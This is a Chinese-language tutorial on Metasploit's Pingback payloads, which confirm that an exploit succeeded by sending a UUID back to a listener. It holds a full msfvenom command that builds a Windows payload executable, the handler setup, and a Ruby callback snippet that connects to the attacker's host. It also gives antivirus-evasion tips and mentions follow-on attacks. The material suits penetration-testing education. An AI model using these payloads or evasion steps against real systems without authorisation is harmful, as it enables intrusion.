MSF Pingback Payloads
字数 1335 2025-08-26 22:11:45
MSF Pingback Payloads 教学文档
0x00 概述
MSF Pingback Payloads 是 Metasploit Framework 引入的一种新型载荷,旨在提供最小化功能以验证漏洞利用是否成功,而不产生交互式 Shell。这种载荷通过生成并发送唯一的 UUID 来确认目标系统的漏洞状态,同时避免传统反向 Shell 被拦截或检测的风险。
0x01 Pingback 原理
-
核心功能
- Pingback Payload 生成一个随机 UUID 并写入 Metasploit 数据库。
- 目标执行载荷后,仅返回此 UUID 到监听端,不建立任何 Shell 连接。
- 监听端验证 UUID 后立即关闭会话,避免中间人攻击(MITM)或流量嗅探风险。
-
技术优势
- 隐蔽性:仅传输 16 字节的 UUID,无敏感行为特征。
- 兼容性:支持多种协议(如 TCP、HTTP)和平台(Windows、Linux 等)。
- 灵活性:可配置重试次数(
PingbackRetries)和间隔时间(PingbackSleep)。
0x02 使用步骤
-
生成 Payload
使用msfvenom生成 Pingback 载荷(以 Windows x64 为例):msfvenom -p windows/x64/pingback_reverse_tcp -f exe -o payload.exe LHOST=<监听IP> LPORT=<端口> PINGBACKRETRIES=10 PINGBACKSLEEP=5- 参数说明:
PINGBACKRETRIES:额外重试次数(默认 0)。PINGBACKSLEEP:重试间隔秒数(默认 30)。
- 参数说明:
-
启动监听
在 Metasploit 中配置监听模块:use exploit/multi/handler set payload windows/x64/pingback_reverse_tcp set LHOST <监听IP> set LPORT <端口> run -
验证执行
- 目标执行
payload.exe后,监听端会收到 UUID 并显示:[+] Incoming UUID = <UUID值> [+] UUID identified (<UUID值>) - 若数据库未激活,仅显示警告但仍记录 UUID。
- 目标执行
0x03 技术实现分析
-
载荷生成逻辑
- Ruby 载荷示例(
pingback_reverse_tcp.rb):require 'socket' c = TCPSocket.new '<LHOST>', <LPORT> c.puts '<Base64编码的UUID>'.unpack('m0') c.close - UUID 通过 Base64 编码传输,解码后验证。
- Ruby 载荷示例(
-
会话处理(
pingback.rb)- 监听端读取 16 字节原始 UUID,转换为十六进制字符串。
- 数据库验证逻辑:
payload = framework.db.payloads(uuid: uuid_string).first payload.nil? ? print_warning : print_good
0x04 高级配置与优化
-
免杀建议
- 静态免杀:加密 Shellcode 或修改特征码。
- 动态免杀:Pingback 无敏感进程(如
cmd.exe),天然规避行为检测。
-
扩展应用
- 结合漏洞利用模块(如
exploit/windows/smb/...)验证漏洞存在性。 - 二次攻击:通过其他无交互方式(如 HTTP 请求)传递命令。
- 结合漏洞利用模块(如
0x05 注意事项
-
数据库依赖
- 需启用 Metasploit 数据库以记录和匹配 UUID。
- 无数据库时仅显示警告,但仍可捕获流量。
-
限制
- 仅验证漏洞,不提供后续利用功能。
- 需配合其他技术获取完整控制权限。
0x06 总结
MSF Pingback Payloads 提供了一种轻量级、低风险的漏洞验证方案,适用于红队评估和渗透测试初期阶段。其设计思路(最小化交互+UUID 验证)可延伸至其他工具开发,值得安全研究人员借鉴。
附录:相关资源
- Rapid7 官方博客
- GitHub PR #12129
- 示例代码路径:
msf/modules/payloads/singles/ruby/pingback_reverse_tcp.rb